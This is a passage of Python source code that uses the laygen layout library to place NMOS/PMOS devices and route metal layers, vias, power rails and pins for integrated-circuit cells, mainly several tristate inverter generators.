laygen.via(None, np.array([0, 1]), refinstname=ip4.name, refpinname='D0', gridname=rg_m2m3, refinstindex=np.array([m - 1, 0]))
# power and ground route
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
for i in range(m*2):
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip4.name, refinstindex0=np.array([i, 0]),
refinstname1=ip4.name, refinstindex1=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip4.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
xy_s1 = laygen.get_template_pin_xy(in1.cellname, 'S1', rg_m1m2)[0, :]
for i in range(m*2):
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=ip4.name, refinstindex0=np.array([i, 0]),
refinstname1=ip4.name, refinstindex1=np.array([i, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=ip4.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
# dummy gate
if m==1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([1, 2]), xy1=np.array([-1, 2]), gridname0=rg_m1m2,
refinstname0=ip4_sp.name, refpinname0='D0', refinstindex0=np.array([0, 0]), via0=[-1,0],
refinstname1=ip4_sp.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]), via1=[1,0],
endstyle0="extend", endstyle1="extend")
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([1, 2]), xy1=np.array([-1, 2]), gridname0=rg_m1m2,
refinstname0=ip1_sp.name, refpinname0='D0', refinstindex0=np.array([0, 0]), via0=[-1,0],
refinstname1=ip1_sp.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]), via1=[1,0],
endstyle0="extend", endstyle1="extend")
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 2]), xy1=np.array([0, 2]), gridname0=rg_m1m2,
refinstname0=ip4_sp.name, refpinname0='D0', refinstindex0=np.array([0, 0]), via0=[0,0],
refinstname1=ip4_sp.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]), via1=[0,0])
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 2]), xy1=np.array([0, 2]), gridname0=rg_m1m2,
refinstname0=ip1_sp.name, refpinname0='D0', refinstindex0=np.array([0, 0]), via0=[0,0],
refinstname1=ip1_sp.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]), via1=[0,0])
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 2]), xy1=np.array([0, -1]), gridname0=rg_m2m3,
refinstname0=ip4_sp.name, refpinname0='D0', refinstindex0=np.array([m - 1, 0]), via0=[0,0],
refinstname1=ip4_sp.name, refpinname1='D0', refinstindex1=np.array([m - 1, 0]), via1=[0,0])
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 2]), xy1=np.array([0, -1]), gridname0=rg_m2m3,
refinstname0=ip1_sp.name, refpinname0='D0', refinstindex0=np.array([m - 1, 0]), via0=[0,0],
refinstname1=ip1_sp.name, refpinname1='D0', refinstindex1=np.array([m - 1, 0]), via1=[0,0])
# power and groud rail
xy = laygen.get_xy(obj = in5.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd=laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip5.name)
rvss=laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in5.name)
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['A', 'B', 'O'], rect_list=[ra0, rb0, ro0])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_tinv(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body, devname_pmos_boundary, devname_pmos_body,
m=1, origin=np.array([0,0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
m=max(1, int(m/2)) #using nf=2 devices
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix + 'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m, 1]))
in2 = laygen.relplace(name = "I" + objectname_pfix + 'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
in3 = laygen.relplace(name = "I" + objectname_pfix + 'N3', templatename = devname_nmos_boundary, gridname = pg, refinstname = in2.name)
in4 = laygen.relplace(name = "I"+objectname_pfix + 'N4', templatename = devname_nmos_body, gridname = pg, refinstname = in3.name, shape=np.array([m, 1]))
in5 = laygen.relplace(name = "I"+objectname_pfix + 'N5', templatename = devname_nmos_boundary, gridname = pg, refinstname = in4.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix + 'P1', templatename = devname_pmos_body, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m, 1]))
ip2 = laygen.relplace(name = "I"+objectname_pfix + 'P2', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
ip3 = laygen.relplace(name = "I"+objectname_pfix + 'P3', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip2.name, transform='MX')
ip4 = laygen.relplace(name = "I"+objectname_pfix + 'P4', templatename = devname_pmos_body, gridname = pg, refinstname = ip3.name, transform='MX', shape=np.array([m, 1]))
ip5 = laygen.relplace(name = "I"+objectname_pfix + 'P5', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip4.name, transform='MX')
# route
# in0
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refpinname1='G0', refinstindex1=np.array([i, 0]),
)
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
if m == 1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 1]), xy1=np.array([1, 1]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]),
endstyle0="extend", endstyle1="extend")
ri0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([-1, 1]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]))
ri0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
# en0
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in4.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
if m==1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=in4.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in4.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]),
endstyle0="extend", endstyle1="extend")
ren0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([1, 0]), xy1=np.array([1, 2]), gridname0=rg_m2m3,
refinstname0=in4.name, refpinname0='G0', refinstindex0=np.array([m - 1, 0]),
refinstname1=in4.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]))
laygen.via(None, np.array([1, 0]), refinstname=in4.name, refpinname='G0',
refinstindex=np.array([m - 1, 0]), gridname=rg_m2m3)
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=in4.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in4.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]))
ren0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([1, 0]), xy1=np.array([1, 2]), gridname0=rg_m2m3,
refinstname0=in4.name, refpinname0='G0', refinstindex0=np.array([m - 1, 0]),
refinstname1=in4.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]))
laygen.via(None, np.array([1, 0]), refinstname=in4.name, refpinname='G0',
refinstindex=np.array([m - 1, 0]), gridname=rg_m2m3)
# enb0
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=ip4.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
if m==1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=ip4.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=ip4.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]),
endstyle0="extend", endstyle1="extend")
renb0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=ip4.name, refpinname0='G0', refinstindex0=np.array([m - 1, 0]),
refinstname1=ip4.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]))
laygen.via(None, np.array([-1, 0]), refinstname=ip4.name, refpinname='G0',
refinstindex=np.array([m - 1, 0]), gridname=rg_m2m3)
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=ip4.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=ip4.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]))
renb0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=ip4.name, refpinname0='G0', refinstindex0=np.array([m - 1, 0]),
refinstname1=ip4.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]))
laygen.via(None, np.array([-1, 0]), refinstname=ip4.name, refpinname='G0',
refinstindex=np.array([m - 1, 0]), gridname=rg_m2m3)
# internal connection between stacked mos
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0',
refinstname1=in4.name, refpinname1='S1', refinstindex1=np.array([m - 1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='D0',
refinstname1=ip4.name, refpinname1='S1', refinstindex1=np.array([m - 1, 0]))
for i in range(m):
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=ip1.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=in4.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=ip4.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
#laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='S1', refinstindex=np.array([m-1, 0]), gridname=rg_m1m2)
#laygen.via(None, np.array([0, 1]), refinstname=ip1.name, refpinname='S1', refinstindex=np.array([m-1, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=in4.name, refpinname='S1', refinstindex=np.array([m-1, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=ip4.name, refpinname='S1', refinstindex=np.array([m-1, 0]), gridname=rg_m1m2)
# mux output
if m==1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m2m3,
refinstname0=in4.name, refpinname0='D0', refinstindex0=np.array([0, 0]),
refinstname1=in4.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]),
endstyle0="extend", endstyle1="extend")
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m2m3,
refinstname0=ip4.name, refpinname0='D0', refinstindex0=np.array([0, 0]),
refinstname1=ip4.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]),
endstyle0="extend", endstyle1="extend")
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in4.name, refpinname0='D0', refinstindex0=np.array([0, 0]),
refinstname1=in4.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=ip4.name, refpinname0='D0', refinstindex0=np.array([0, 0]),
refinstname1=ip4.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]))
ro0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in4.name, refpinname0='D0', refinstindex0=np.array([m - 1, 0]),
refinstname1=ip4.name, refpinname1='D0', refinstindex1=np.array([m - 1, 0]))
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in4.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip4.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in4.name, refpinname='D0', gridname=rg_m2m3, refinstindex=np.array([m - 1, 0]))
laygen.via(None, np.array([0, 0]), refinstname=ip4.name, refpinname='D0', gridname=rg_m2m3, refinstindex=np.array([m - 1, 0]))
# power and ground route
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refinstindex1=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
xy_s1 = laygen.get_template_pin_xy(in1.cellname, 'S1', rg_m1m2)[0, :]
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refinstindex1=np.array([i, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
# power and groud rail
xy = laygen.get_xy(obj = in5.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd = laygen.route("R" + objectname_pfix + "VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip5.name)
rvss = laygen.route("R" + objectname_pfix + "VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in5.name)
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['I', 'EN', 'ENB', 'O'], rect_list=[ri0, ren0, renb0, ro0])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_tinv_1x(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body_2stack, devname_nmos_space,
devname_pmos_boundary, devname_pmos_body_2stack, devname_pmos_space,
pin_i_abut="nmos", origin=np.array([0,0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
# placement
in0 = laygen.place("I"+objectname_pfix+'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix+'N1', templatename = devname_nmos_body_2stack, gridname = pg, refinstname = in0.name)
in2 = laygen.relplace(name = "I"+objectname_pfix+'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
in3 = laygen.relplace(name = "I"+objectname_pfix + 'N3', templatename = devname_nmos_space, gridname = pg, refinstname = in2.name)
in4 = laygen.relplace(name = "I" + objectname_pfix + 'N4', templatename = devname_nmos_space, gridname = pg, refinstname = in3.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix+'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix+'P1', templatename = devname_pmos_body_2stack, gridname = pg, refinstname = ip0.name, transform='MX')
ip2 = laygen.relplace(name = "I"+objectname_pfix+'P2', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
ip3 = laygen.relplace(name = "I"+objectname_pfix + 'P3', templatename = devname_pmos_space, gridname = pg, refinstname = ip2.name, transform='MX')
ip4 = laygen.relplace(name = "I" + objectname_pfix + 'P4', templatename = devname_pmos_space, gridname = pg, refinstname = ip3.name, transform='MX')
# route
# input
if pin_i_abut == "nmos":
refinstname_in = in1.name
refinstname_en0 = in1.name
refinstname_en1 = ip1.name
else:
refinstname_in = ip1.name
refinstname_en0 = ip1.name
refinstname_en1 = in1.name
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstname1=ip1.name, refpinname1='G0')
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([2, 1]), gridname0=rg_m1m2,
refinstname0=refinstname_in, refpinname0='G0', refinstname1=refinstname_in, refpinname1='G0')
ri0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=refinstname_in, refpinname0='G0', refinstname1=refinstname_in, refpinname1='G0',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([0, 1]), refinstname=refinstname_in, refpinname='G0', gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=refinstname_in, refpinname='G0', gridname=rg_m2m3)
# en
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=refinstname_en0, refpinname0='G1', refinstname1=refinstname_en0, refpinname1='G1')
ren0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([1, 0]), xy1=np.array([1, 2]), gridname0=rg_m2m3,
refinstname0=refinstname_en0, refpinname0='G1', refinstname1=refinstname_en0, refpinname1='G1')
laygen.via(None, np.array([0, 0]), refinstname=refinstname_en0, refpinname='G1', gridname=rg_m1m2)
laygen.via(None, np.array([1, 0]), refinstname=in1.name, refpinname='G1', gridname=rg_m2m3)
# enb
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([0+1, 0]), gridname0=rg_m1m2,
refinstname0=refinstname_en1, refpinname0='G1', refinstname1=refinstname_en1, refpinname1='G1')
renb0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=refinstname_en1, refpinname0='G1', refinstname1=refinstname_en1, refpinname1='G1')
laygen.via(None, np.array([0, 0]), refinstname=refinstname_en1, refpinname='G1', gridname=rg_m1m2)
laygen.via(None, np.array([-1, 0]), refinstname=ip1.name, refpinname='G1', gridname=rg_m2m3)
# output
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstname1=in1.name, refpinname1='D0')
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='D0', refinstname1=ip1.name, refpinname1='D0')
ro0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstname1=ip1.name, refpinname1='D0')
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='D0', gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='D0', gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='D0', gridname=rg_m2m3)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='D0', gridname=rg_m2m3)
# power and ground route
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=xy_s0 * np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='S0', refinstname1=in1.name)
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=xy_s0 * np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=ip1.name, refpinname0='S0', refinstname1=ip1.name)
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2)
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2)
# power and groud rail
xy = laygen.get_xy(obj = in2.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd = laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip4.name)
rvss = laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in4.name)
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['I', 'EN', 'ENB', 'O'], rect_list=[ri0, ren0, renb0, ro0])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_tinv_small_1x(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body_2stack, devname_nmos_space,
devname_pmos_boundary, devname_pmos_body_2stack, devname_pmos_space,
pin_i_abut="nmos", origin=np.array([0,0]), create_pin=False):
"""small tristate inverter for latches and FFs"""
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
# placement
in0 = laygen.place("I"+objectname_pfix+'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix+'N1', templatename = devname_nmos_body_2stack, gridname = pg, refinstname = in0.name)
in2 = laygen.relplace(name = "I"+objectname_pfix+'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
in3 = laygen.relplace(name = "I"+objectname_pfix + 'N3', templatename = devname_nmos_space, gridname = pg, refinstname = in2.name)
in4 = laygen.relplace(name = "I" + objectname_pfix + 'N4', templatename = devname_nmos_space, gridname = pg, refinstname = in3.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix+'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix+'P1', templatename = devname_pmos_body_2stack, gridname = pg, refinstname = ip0.name, transform='MX')
ip2 = laygen.relplace(name = "I"+objectname_pfix+'P2', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
ip3 = laygen.relplace(name = "I"+objectname_pfix + 'P3', templatename = devname_pmos_space, gridname = pg, refinstname = ip2.name, transform='MX')
ip4 = laygen.relplace(name = "I" + objectname_pfix + 'P4', templatename = devname_pmos_space, gridname = pg, refinstname = ip3.name, transform='MX')
# route
# input
if pin_i_abut == "nmos":
refinstname_in = in1.name
refinstname_en0 = in1.name
refinstname_en1 = ip1.name
else:
refinstname_in = ip1.name
refinstname_en0 = ip1.name
refinstname_en1 = in1.name
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstname1=ip1.name, refpinname1='G0')
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([2, 1]), gridname0=rg_m1m2,
refinstname0=refinstname_in, refpinname0='G0', refinstname1=refinstname_in, refpinname1='G0')
ri0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=refinstname_in, refpinname0='G0', refinstname1=refinstname_in, refpinname1='G0',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([0, 1]), refinstname=refinstname_in, refpinname='G0', gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=refinstname_in, refpinname='G0', gridname=rg_m2m3)
# en
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=refinstname_en0, refpinname0='G1', refinstname1=refinstname_en0, refpinname1='G1')
ren0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([1, 0]), xy1=np.array([1, 2]), gridname0=rg_m2m3,
refinstname0=refinstname_en0, refpinname0='G1', refinstname1=refinstname_en0, refpinname1='G1')
laygen.via(None, np.array([0, 0]), refinstname=refinstname_en0, refpinname='G1', gridname=rg_m1m2)
laygen.via(None, np.array([1, 0]), refinstname=in1.name, refpinname='G1', gridname=rg_m2m3)
# enb
